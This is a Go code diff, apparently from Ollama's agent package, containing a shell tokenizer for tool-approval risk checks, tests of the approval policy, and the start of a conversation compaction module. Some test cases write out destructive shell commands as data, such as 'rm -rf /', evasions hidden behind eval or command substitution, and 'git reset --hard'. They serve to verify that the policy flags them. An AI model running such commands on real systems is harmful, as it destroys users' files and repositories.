var reasons []string
|
||||
var word strings.Builder
|
||||
var quote byte
|
||||
escaped := false
|
||||
high := false
|
||||
|
||||
flushWord := func() {
|
||||
if word.Len() == 0 {
|
||||
return
|
||||
}
|
||||
tokens = append(tokens, bashToken{kind: bashTokenWord, value: word.String()})
|
||||
word.Reset()
|
||||
}
|
||||
addOperator := func(op string) {
|
||||
tokens = append(tokens, bashToken{kind: bashTokenOperator, value: op})
|
||||
}
|
||||
|
||||
for i := 0; i < len(command); i++ {
|
||||
ch := command[i]
|
||||
if escaped {
|
||||
word.WriteByte(ch)
|
||||
escaped = false
|
||||
continue
|
||||
}
|
||||
if ch == '\\' && quote != '\'' {
|
||||
escaped = true
|
||||
continue
|
||||
}
|
||||
|
||||
if quote == '\'' {
|
||||
if ch == '\'' {
|
||||
quote = 0
|
||||
} else {
|
||||
word.WriteByte(ch)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if quote == '"' {
|
||||
switch {
|
||||
case ch == '"':
|
||||
quote = 0
|
||||
case ch == '`':
|
||||
addOperator("`")
|
||||
word.WriteByte(ch)
|
||||
case ch == '$' && i+1 < len(command) && command[i+1] == '(':
|
||||
addOperator("$(")
|
||||
word.WriteString("$(")
|
||||
i++
|
||||
default:
|
||||
word.WriteByte(ch)
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
if ch == '\'' || ch == '"' {
|
||||
quote = ch
|
||||
continue
|
||||
}
|
||||
if ch == '`' {
|
||||
addOperator("`")
|
||||
word.WriteByte(ch)
|
||||
continue
|
||||
}
|
||||
if ch == '$' && i+1 < len(command) && command[i+1] == '(' {
|
||||
addOperator("$(")
|
||||
word.WriteString("$(")
|
||||
i++
|
||||
continue
|
||||
}
|
||||
if (ch == '<' || ch == '>') && i+1 < len(command) && command[i+1] == '(' {
|
||||
flushWord()
|
||||
addOperator(string([]byte{ch, '('}))
|
||||
i++
|
||||
continue
|
||||
}
|
||||
if ch == '\n' {
|
||||
flushWord()
|
||||
addOperator("\n")
|
||||
continue
|
||||
}
|
||||
if ch == ' ' || ch == '\t' || ch == '\r' {
|
||||
flushWord()
|
||||
continue
|
||||
}
|
||||
|
||||
switch ch {
|
||||
case '&':
|
||||
flushWord()
|
||||
switch {
|
||||
case i+1 < len(command) && command[i+1] == '&':
|
||||
addOperator("&&")
|
||||
i++
|
||||
case i+1 < len(command) && command[i+1] == '>':
|
||||
addOperator("&>")
|
||||
i++
|
||||
default:
|
||||
addOperator("&")
|
||||
}
|
||||
case '|':
|
||||
flushWord()
|
||||
if i+1 < len(command) && command[i+1] == '|' {
|
||||
addOperator("||")
|
||||
i++
|
||||
} else {
|
||||
addOperator("|")
|
||||
}
|
||||
case ';':
|
||||
flushWord()
|
||||
addOperator(";")
|
||||
case '<':
|
||||
flushWord()
|
||||
if i+1 < len(command) && command[i+1] == '<' {
|
||||
addOperator("<<")
|
||||
i++
|
||||
} else if i+1 < len(command) && command[i+1] == '&' {
|
||||
addOperator("<&")
|
||||
i++
|
||||
} else {
|
||||
addOperator("<")
|
||||
}
|
||||
case '>':
|
||||
flushWord()
|
||||
if i+1 < len(command) && command[i+1] == '>' {
|
||||
addOperator(">>")
|
||||
i++
|
||||
} else if i+1 < len(command) && command[i+1] == '|' {
|
||||
addOperator(">|")
|
||||
i++
|
||||
} else if i+1 < len(command) && command[i+1] == '&' {
|
||||
addOperator(">&")
|
||||
i++
|
||||
} else {
|
||||
addOperator(">")
|
||||
}
|
||||
default:
|
||||
word.WriteByte(ch)
|
||||
}
|
||||
}
|
||||
if escaped || quote != 0 {
|
||||
reasons = append(reasons, "could not parse shell command")
|
||||
high = true
|
||||
}
|
||||
flushWord()
|
||||
return tokens, reasons, high
|
||||
}
|
||||
|
||||
func bashCommandCalls(tokens []bashToken) [][]string {
|
||||
var calls [][]string
|
||||
var current []string
|
||||
flush := func() {
|
||||
if len(current) == 0 {
|
||||
return
|
||||
}
|
||||
calls = append(calls, current)
|
||||
current = nil
|
||||
}
|
||||
for _, token := range tokens {
|
||||
if token.kind == bashTokenWord {
|
||||
current = append(current, token.value)
|
||||
continue
|
||||
}
|
||||
if isBashCommandBoundary(token.value) {
|
||||
flush()
|
||||
}
|
||||
}
|
||||
flush()
|
||||
return calls
|
||||
}
|
||||
|
||||
func isBashCommandBoundary(op string) bool {
|
||||
switch op {
|
||||
case "&&", "||", "|", ";", "&", "\n":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func shellCommandArgs(args []string) []string {
|
||||
for len(args) > 0 && isShellAssignment(args[0]) {
|
||||
args = args[1:]
|
||||
}
|
||||
return args
|
||||
}
|
||||
|
||||
func isShellAssignment(word string) bool {
|
||||
name, _, ok := strings.Cut(word, "=")
|
||||
if !ok || name == "" {
|
||||
return false
|
||||
}
|
||||
for i := range len(name) {
|
||||
ch := name[i]
|
||||
if i == 0 {
|
||||
if !((ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z') || ch == '_') {
|
||||
return false
|
||||
}
|
||||
continue
|
||||
}
|
||||
if !((ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z') || (ch >= '0' && ch <= '9') || ch == '_') {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func isDynamicCommandName(name string) bool {
|
||||
return strings.HasPrefix(name, "$") || strings.HasPrefix(name, "`") || strings.Contains(name, "$(") || strings.Contains(name, "`")
|
||||
}
|
||||
|
||||
func shellCommandBase(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
if i := strings.LastIndexAny(name, `/\`); i >= 0 && i+1 < len(name) {
|
||||
name = name[i+1:]
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func approvalPathEscapeReason(workingDir, path string) string {
|
||||
if strings.TrimSpace(path) == "" {
|
||||
return ""
|
||||
}
|
||||
if filepath.IsAbs(path) {
|
||||
return "absolute paths are not allowed"
|
||||
}
|
||||
|
||||
base := workingDir
|
||||
if base == "" {
|
||||
var err error
|
||||
base, err = os.Getwd()
|
||||
if err != nil {
|
||||
return "could not determine working directory"
|
||||
}
|
||||
}
|
||||
|
||||
base, err := canonicalApprovalPath(base)
|
||||
if err != nil {
|
||||
return "could not resolve working directory"
|
||||
}
|
||||
resolved := filepath.Clean(filepath.Join(base, path))
|
||||
resolvedForCheck := resolved
|
||||
if canonical, err := canonicalApprovalPath(resolved); err == nil {
|
||||
resolvedForCheck = canonical
|
||||
}
|
||||
rel, err := filepath.Rel(base, resolvedForCheck)
|
||||
if err != nil {
|
||||
return "could not resolve path"
|
||||
}
|
||||
if rel == ".." || strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
|
||||
return "path escapes working directory"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func canonicalApprovalPath(path string) (string, error) {
|
||||
abs, err := filepath.Abs(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
resolved, err := filepath.EvalSymlinks(abs)
|
||||
if err == nil {
|
||||
return resolved, nil
|
||||
}
|
||||
return abs, nil
|
||||
}
|
||||
|
||||
func stringApprovalArg(args map[string]any, key string) (string, bool) {
|
||||
value, ok := args[key].(string)
|
||||
return value, ok && strings.TrimSpace(value) != ""
|
||||
}
|
||||
|
||||
func stableApprovalArgs(args map[string]any) string {
|
||||
if len(args) == 0 {
|
||||
return ""
|
||||
}
|
||||
keys := make([]string, 0, len(args))
|
||||
for key := range args {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
slices.Sort(keys)
|
||||
var b bytes.Buffer
|
||||
for _, key := range keys {
|
||||
if b.Len() > 0 {
|
||||
b.WriteByte(',')
|
||||
}
|
||||
fmt.Fprintf(&b, "%s=%v", key, args[key])
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
@@ -0,0 +1,384 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type recordingApprovalPrompter struct {
|
||||
requests []ApprovalRequest
|
||||
results []ApprovalResult
|
||||
}
|
||||
|
||||
type allowWithoutPromptPolicy struct{}
|
||||
|
||||
type approvalRequiredTestTool struct{}
|
||||
|
||||
func (p *recordingApprovalPrompter) PromptApproval(_ context.Context, request ApprovalRequest) (ApprovalResult, error) {
|
||||
p.requests = append(p.requests, request)
|
||||
if len(p.results) == 0 {
|
||||
return ApprovalResult{Decision: ApprovalAllowOnce}, nil
|
||||
}
|
||||
result := p.results[0]
|
||||
p.results = p.results[1:]
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func (allowWithoutPromptPolicy) EvaluateApproval(context.Context, ApprovalRequest) ApprovalEvaluation {
|
||||
return ApprovalEvaluation{Decision: ApprovalAllowOnce, Risk: ApprovalRiskLow}
|
||||
}
|
||||
|
||||
func (approvalRequiredTestTool) Name() string {
|
||||
return "approval_required"
|
||||
}
|
||||
|
||||
func (approvalRequiredTestTool) Description() string {
|
||||
return "requires approval"
|
||||
}
|
||||
|
||||
func (approvalRequiredTestTool) Schema() api.ToolFunction {
|
||||
return api.ToolFunction{Name: "approval_required"}
|
||||
}
|
||||
|
||||
func (approvalRequiredTestTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
|
||||
return ToolResult{Content: "ok"}, nil
|
||||
}
|
||||
|
||||
func (approvalRequiredTestTool) RequiresApproval(map[string]any) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func TestApprovalManagerAllowsSafeToolsWithoutPrompt(t *testing.T) {
|
||||
prompter := &recordingApprovalPrompter{}
|
||||
manager := NewApprovalManager(ApprovalManagerOptions{Prompter: prompter})
|
||||
|
||||
result, err := manager.Approve(context.Background(), ApprovalRequest{
|
||||
ToolName: "read",
|
||||
Args: map[string]any{"path": "README.md"},
|
||||
WorkingDir: t.TempDir(),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalAllowOnce {
|
||||
t.Fatalf("decision = %q, want allow_once", result.Decision)
|
||||
}
|
||||
if len(prompter.requests) != 0 {
|
||||
t.Fatalf("safe tool prompted: %#v", prompter.requests)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManagerToolRequiredOverridePromptsInApprove(t *testing.T) {
|
||||
prompter := &recordingApprovalPrompter{}
|
||||
manager := NewApprovalManager(ApprovalManagerOptions{Policy: allowWithoutPromptPolicy{}, Prompter: prompter})
|
||||
tool := approvalRequiredTestTool{}
|
||||
request := ApprovalRequest{
|
||||
ToolName: tool.Name(),
|
||||
Args: map[string]any{},
|
||||
ToolApprovalRequired: ToolRequiresApproval(tool, nil),
|
||||
}
|
||||
|
||||
if !manager.RequiresApproval(context.Background(), tool, request) {
|
||||
t.Fatal("tool-required approval should require a prompt")
|
||||
}
|
||||
result, err := manager.Approve(context.Background(), request)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalAllowOnce {
|
||||
t.Fatalf("decision = %q, want allow_once", result.Decision)
|
||||
}
|
||||
if len(prompter.requests) != 1 {
|
||||
t.Fatalf("prompts = %d, want 1", len(prompter.requests))
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManagerDeniesEscapingPath(t *testing.T) {
|
||||
manager := NewApprovalManager(ApprovalManagerOptions{})
|
||||
|
||||
result, err := manager.Approve(context.Background(), ApprovalRequest{
|
||||
ToolName: "edit",
|
||||
Args: map[string]any{"path": "../outside.txt"},
|
||||
WorkingDir: t.TempDir(),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalDeny {
|
||||
t.Fatalf("decision = %q, want deny", result.Decision)
|
||||
}
|
||||
if !strings.Contains(result.Reason, "path escapes working directory") {
|
||||
t.Fatalf("reason = %q", result.Reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManagerSanitizesEditSummary(t *testing.T) {
|
||||
evaluation := evaluateEditApproval(ApprovalRequest{
|
||||
ToolName: "edit",
|
||||
Args: map[string]any{"path": "notes/\x1b[31mred\nfile.txt"},
|
||||
WorkingDir: t.TempDir(),
|
||||
})
|
||||
if strings.ContainsAny(evaluation.Summary, "\n\r\x1b") {
|
||||
t.Fatalf("summary contains control characters: %q", evaluation.Summary)
|
||||
}
|
||||
if !strings.Contains(evaluation.Summary, "notes/red file.txt") {
|
||||
t.Fatalf("summary = %q, want sanitized path", evaluation.Summary)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManagerPromptsForEdit(t *testing.T) {
|
||||
prompter := &recordingApprovalPrompter{}
|
||||
manager := NewApprovalManager(ApprovalManagerOptions{Prompter: prompter})
|
||||
|
||||
result, err := manager.Approve(context.Background(), ApprovalRequest{
|
||||
ToolName: "edit",
|
||||
Args: map[string]any{"path": "note.txt", "old_text": "old", "new_text": "new"},
|
||||
WorkingDir: t.TempDir(),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalAllowOnce {
|
||||
t.Fatalf("decision = %q, want allow_once", result.Decision)
|
||||
}
|
||||
if len(prompter.requests) != 1 {
|
||||
t.Fatalf("prompts = %d, want 1", len(prompter.requests))
|
||||
}
|
||||
request := prompter.requests[0]
|
||||
if request.Risk != ApprovalRiskMedium {
|
||||
t.Fatalf("risk = %q, want medium", request.Risk)
|
||||
}
|
||||
if !strings.Contains(strings.Join(request.Reasons, " "), "writes to a file") {
|
||||
t.Fatalf("reasons = %#v", request.Reasons)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManagerHeadlessDeniesPromptRequiredTools(t *testing.T) {
|
||||
manager := NewApprovalManager(ApprovalManagerOptions{})
|
||||
|
||||
result, err := manager.Approve(context.Background(), ApprovalRequest{
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "pwd"},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalDeny {
|
||||
t.Fatalf("decision = %q, want deny", result.Decision)
|
||||
}
|
||||
if !strings.Contains(result.Reason, "--auto-approve-tools") {
|
||||
t.Fatalf("reason = %q", result.Reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManagerSessionAllowList(t *testing.T) {
|
||||
prompter := &recordingApprovalPrompter{
|
||||
results: []ApprovalResult{{Decision: ApprovalAllowSession}},
|
||||
}
|
||||
manager := NewApprovalManager(ApprovalManagerOptions{Prompter: prompter})
|
||||
request := ApprovalRequest{
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "go test ./agent"},
|
||||
}
|
||||
|
||||
result, err := manager.Approve(context.Background(), request)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalAllowSession {
|
||||
t.Fatalf("decision = %q, want allow_session", result.Decision)
|
||||
}
|
||||
result, err = manager.Approve(context.Background(), request)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalAllowOnce {
|
||||
t.Fatalf("second decision = %q, want allow_once", result.Decision)
|
||||
}
|
||||
if len(prompter.requests) != 1 {
|
||||
t.Fatalf("prompts = %d, want 1", len(prompter.requests))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBashApprovalClassifiesHighRiskShell(t *testing.T) {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "cd / && rm -rf tmp"},
|
||||
})
|
||||
|
||||
if !evaluation.RequirePrompt {
|
||||
t.Fatal("bash should require prompt")
|
||||
}
|
||||
if evaluation.Risk != ApprovalRiskHigh {
|
||||
t.Fatalf("risk = %q, want high", evaluation.Risk)
|
||||
}
|
||||
reasons := strings.Join(evaluation.Reasons, " ")
|
||||
for _, want := range []string{"changes directory", "control operator", "removes files"} {
|
||||
if !strings.Contains(reasons, want) {
|
||||
t.Fatalf("reasons = %#v, want %q", evaluation.Reasons, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPowerShellApprovalUsesShellPolicy(t *testing.T) {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: "powershell",
|
||||
Args: map[string]any{"command": "Remove-Item -Recurse tmp"},
|
||||
})
|
||||
|
||||
if !evaluation.RequirePrompt {
|
||||
t.Fatal("powershell should require prompt")
|
||||
}
|
||||
if evaluation.Summary != "PowerShell wants to run a command" {
|
||||
t.Fatalf("summary = %q", evaluation.Summary)
|
||||
}
|
||||
if evaluation.SessionKey != "powershell:Remove-Item -Recurse tmp" {
|
||||
t.Fatalf("session key = %q", evaluation.SessionKey)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBashApprovalClassifiesDynamicShellEvasions(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
cmd string
|
||||
reason string
|
||||
}{
|
||||
{name: "function declaration", cmd: "f() { rm -rf /; } && f", reason: "defines shell functions"},
|
||||
{name: "eval", cmd: `eval "$cmd"`, reason: "evaluates shell code"},
|
||||
{name: "variable command name", cmd: "$DANGER --flag", reason: "dynamic command name"},
|
||||
{name: "command substitution command name", cmd: "$(echo rm) -rf /", reason: "dynamic command name"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": tt.cmd},
|
||||
})
|
||||
if !evaluation.RequirePrompt {
|
||||
t.Fatal("bash evasion should require prompt")
|
||||
}
|
||||
if evaluation.Risk != ApprovalRiskHigh {
|
||||
t.Fatalf("risk = %q, want high", evaluation.Risk)
|
||||
}
|
||||
if reasons := strings.Join(evaluation.Reasons, " "); !strings.Contains(reasons, tt.reason) {
|
||||
t.Fatalf("reasons = %#v, want %q", evaluation.Reasons, tt.reason)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBashApprovalClassifiesDestructiveGitWithGlobalOptions(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
cmd string
|
||||
reason string
|
||||
}{
|
||||
{name: "git reset hard after cwd", cmd: "git -C /tmp reset --hard", reason: "runs destructive git reset"},
|
||||
{name: "git reset hard after config", cmd: "git -c core.autocrlf=false reset --hard", reason: "runs destructive git reset"},
|
||||
{name: "git clean after work tree", cmd: "git --work-tree=/tmp clean -fdx", reason: "runs destructive git clean"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": tt.cmd},
|
||||
})
|
||||
if evaluation.Risk != ApprovalRiskHigh {
|
||||
t.Fatalf("risk = %q, want high", evaluation.Risk)
|
||||
}
|
||||
if reasons := strings.Join(evaluation.Reasons, " "); !strings.Contains(reasons, tt.reason) {
|
||||
t.Fatalf("reasons = %#v, want %q", evaluation.Reasons, tt.reason)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBashApprovalClassifiesFindMutations(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
cmd string
|
||||
reason string
|
||||
}{
|
||||
{name: "delete", cmd: "find . -name '*.tmp' -delete", reason: "deletes files via find"},
|
||||
{name: "exec", cmd: `find . -name '*.tmp' -exec rm -rf {} \;`, reason: "executes commands via find"},
|
||||
{name: "exec nested destructive command", cmd: `find . -name '*.tmp' -exec rm -rf {} \;`, reason: "removes files destructively"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": tt.cmd},
|
||||
})
|
||||
if evaluation.Risk != ApprovalRiskHigh {
|
||||
t.Fatalf("risk = %q, want high", evaluation.Risk)
|
||||
}
|
||||
if reasons := strings.Join(evaluation.Reasons, " "); !strings.Contains(reasons, tt.reason) {
|
||||
t.Fatalf("reasons = %#v, want %q", evaluation.Reasons, tt.reason)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebApprovalRequiresPrompt(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
tool string
|
||||
args map[string]any
|
||||
summary string
|
||||
}{
|
||||
{
|
||||
name: "search",
|
||||
tool: "web_search",
|
||||
args: map[string]any{"query": "Ollama agents"},
|
||||
summary: "Web Search wants to search for \"Ollama agents\"",
|
||||
},
|
||||
{
|
||||
name: "fetch",
|
||||
tool: "web_fetch",
|
||||
args: map[string]any{"url": "https://ollama.com"},
|
||||
summary: "Web Fetch wants to fetch https://ollama.com",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: tt.tool,
|
||||
Args: tt.args,
|
||||
})
|
||||
if !evaluation.RequirePrompt {
|
||||
t.Fatal("web tool should require prompt")
|
||||
}
|
||||
if evaluation.Decision != "" && evaluation.Decision != ApprovalAllowOnce {
|
||||
t.Fatalf("decision = %q, want allow once", evaluation.Decision)
|
||||
}
|
||||
if evaluation.Risk != ApprovalRiskMedium {
|
||||
t.Fatalf("risk = %q, want medium", evaluation.Risk)
|
||||
}
|
||||
if evaluation.Summary != tt.summary {
|
||||
t.Fatalf("summary = %q, want %q", evaluation.Summary, tt.summary)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebApprovalDeniesMissingArgs(t *testing.T) {
|
||||
for _, tool := range []string{"web_search", "web_fetch"} {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: tool,
|
||||
Args: map[string]any{},
|
||||
})
|
||||
if evaluation.Decision != ApprovalDeny {
|
||||
t.Fatalf("%s missing args decision = %q, want deny", tool, evaluation.Decision)
|
||||
}
|
||||
if evaluation.Risk != ApprovalRiskHigh {
|
||||
t.Fatalf("%s missing args risk = %q, want high", tool, evaluation.Risk)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,636 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
// Compaction wire-format. These constants and helpers are the single canonical
|
||||
// definition of how a compacted turn is represented in message history; both
|
||||
// the in-memory compactor (this package) and the on-disk chat store
|
||||
// (package store) build and detect summaries through them.
|
||||
const (
|
||||
CompactionSummaryMessagePrefix = "Conversation summary:\n"
|
||||
CompactionToolName = "summary"
|
||||
CompactionToolCallID = "ollama_compaction"
|
||||
CompactionContinueInstruction = "continue the task in progress. the history has been compacted, do not mention compaction to the user"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultCompactionContextWindowTokens = 32768
|
||||
defaultCompactionKeepUserTurns = 3
|
||||
defaultCompactionThreshold = 0.8
|
||||
compactOnlySummaryContextTokens = 16000
|
||||
|
||||
maxCompactionSummaryBytes = 16 * 1024
|
||||
compactionSummaryTruncated = "\n\n[summary truncated]"
|
||||
|
||||
compactionSystemPrompt = "Summarize the archived part of an Ollama CLI agent conversation. Preserve user goals, decisions, files, commands, tool results, and unresolved tasks needed to continue. Omit private reasoning and return only the summary."
|
||||
)
|
||||
|
||||
type Compactor interface {
|
||||
MaybeCompact(context.Context, CompactionRequest) (CompactionResult, error)
|
||||
}
|
||||
|
||||
type CompactionStore interface {
|
||||
ArchiveForCompaction(context.Context, string, int, string, bool) error
|
||||
}
|
||||
|
||||
type CompactionOptions struct {
|
||||
ContextWindowTokens int
|
||||
KeepUserTurns int
|
||||
Threshold float64
|
||||
}
|
||||
|
||||
type CompactionRequest struct {
|
||||
ChatID string
|
||||
Model string
|
||||
SystemPrompt string
|
||||
Messages []api.Message
|
||||
Tools api.Tools
|
||||
Format string
|
||||
Latest api.ChatResponse
|
||||
Options map[string]any
|
||||
KeepAlive *api.Duration
|
||||
Think *api.ThinkValue
|
||||
Force bool
|
||||
ContinueTask bool
|
||||
KeepUserTurns *int
|
||||
Progress func(CompactionProgress)
|
||||
}
|
||||
|
||||
type CompactionProgress struct {
|
||||
Tokens int
|
||||
}
|
||||
|
||||
type CompactionResult struct {
|
||||
Messages []api.Message
|
||||
Compacted bool
|
||||
Due bool
|
||||
Summary string
|
||||
Reason string
|
||||
}
|
||||
|
||||
type SimpleCompactor struct {
|
||||
Client ChatClient
|
||||
Store CompactionStore
|
||||
Options CompactionOptions
|
||||
}
|
||||
|
||||
func NewSimpleCompactor(client ChatClient, store CompactionStore, opts CompactionOptions) *SimpleCompactor {
|
||||
return &SimpleCompactor{Client: client, Store: store, Options: opts}
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) MaybeCompact(ctx context.Context, req CompactionRequest) (CompactionResult, error) {
|
||||
result := CompactionResult{Messages: req.Messages}
|
||||
if c == nil {
|
||||
return result, nil
|
||||
}
|
||||
|
||||
result.Due = req.Force || c.shouldCompact(req)
|
||||
if !result.Due {
|
||||
return result, nil
|
||||
}
|
||||
if c.Client == nil {
|
||||
result.Reason = "compaction is unavailable"
|
||||
return result, nil
|
||||
}
|
||||
|
||||
keepUserTurns := c.keepUserTurns(req.Options)
|
||||
if req.KeepUserTurns != nil {
|
||||
keepUserTurns = *req.KeepUserTurns
|
||||
}
|
||||
prefix, previousSummary, archive, suffix, keptUserTurns, ok := splitCompactionMessages(req.Messages, keepUserTurns)
|
||||
if !ok || len(archive) == 0 {
|
||||
result.Reason = "nothing to compact"
|
||||
return result, nil
|
||||
}
|
||||
|
||||
summary, err := c.summarize(ctx, req, previousSummary, archive)
|
||||
if err != nil {
|
||||
result.Reason = err.Error()
|
||||
return result, err
|
||||
}
|
||||
summary = truncateCompactionSummary(strings.TrimSpace(summary))
|
||||
if summary == "" {
|
||||
summary, err = c.summarizeEmptyFallback(ctx, req, previousSummary, archive)
|
||||
if err != nil {
|
||||
result.Reason = err.Error()
|
||||
return result, err
|
||||
}
|
||||
summary = truncateCompactionSummary(strings.TrimSpace(summary))
|
||||
}
|
||||
if summary == "" {
|
||||
// TODO(parthsareen): Investigate models that stream compaction output
|
||||
// without final content, such as thinking-only summaries.
|
||||
result.Reason = "summary was empty"
|
||||
return result, nil
|
||||
}
|
||||
|
||||
if c.Store != nil && req.ChatID != "" {
|
||||
if err := c.Store.ArchiveForCompaction(ctx, req.ChatID, keptUserTurns, summary, req.ContinueTask); err != nil {
|
||||
result.Reason = err.Error()
|
||||
return result, err
|
||||
}
|
||||
}
|
||||
|
||||
compacted := make([]api.Message, 0, len(prefix)+len(suffix)+2)
|
||||
compacted = append(compacted, prefix...)
|
||||
compacted = append(compacted, CompactionSummaryMessages(summary, req.ContinueTask)...)
|
||||
compacted = append(compacted, suffix...)
|
||||
result.Messages = compacted
|
||||
result.Compacted = true
|
||||
result.Summary = summary
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) shouldCompact(req CompactionRequest) bool {
|
||||
contextWindow := c.contextWindowTokens(req.Options)
|
||||
threshold := int(float64(contextWindow) * c.threshold())
|
||||
if threshold <= 0 {
|
||||
return false
|
||||
}
|
||||
if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
|
||||
return true
|
||||
}
|
||||
// TODO(parthsareen): If the newest kept user turn contains the oversized
|
||||
// tool output, compaction can remove older history but still leave the next
|
||||
// prompt above the safety threshold. Pair this estimate trigger with
|
||||
// context-aware tool-output paging/range reads so the kept suffix can shrink.
|
||||
return estimateCompactionRequestTokens(req) >= threshold
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) contextWindowTokens(options map[string]any) int {
|
||||
return ResolveContextWindowTokens(options, c.Options.ContextWindowTokens)
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) keepUserTurns(options map[string]any) int {
|
||||
contextWindow := c.contextWindowTokens(options)
|
||||
if contextWindow > 0 && contextWindow < compactOnlySummaryContextTokens {
|
||||
return 0
|
||||
}
|
||||
if c.Options.KeepUserTurns > 0 {
|
||||
return c.Options.KeepUserTurns
|
||||
}
|
||||
return defaultCompactionKeepUserTurns
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) threshold() float64 {
|
||||
return ResolveCompactionThreshold(c.Options.Threshold)
|
||||
}
|
||||
|
||||
func ResolveContextWindowTokens(options map[string]any, configured int) int {
|
||||
if n := intOption(options, "num_ctx"); n > 0 {
|
||||
return n
|
||||
}
|
||||
if configured > 0 {
|
||||
return configured
|
||||
}
|
||||
return defaultCompactionContextWindowTokens
|
||||
}
|
||||
|
||||
func ResolveCompactionThreshold(configured float64) float64 {
|
||||
if configured > 0 {
|
||||
return configured
|
||||
}
|
||||
return defaultCompactionThreshold
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) summarize(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
|
||||
body, err := compactionPrompt(previousSummary, archive, c.compactionPromptBodyBudgetTokens(req.Options))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
chatReq := &api.ChatRequest{
|
||||
Model: req.Model,
|
||||
Messages: []api.Message{
|
||||
{
|
||||
Role: "system",
|
||||
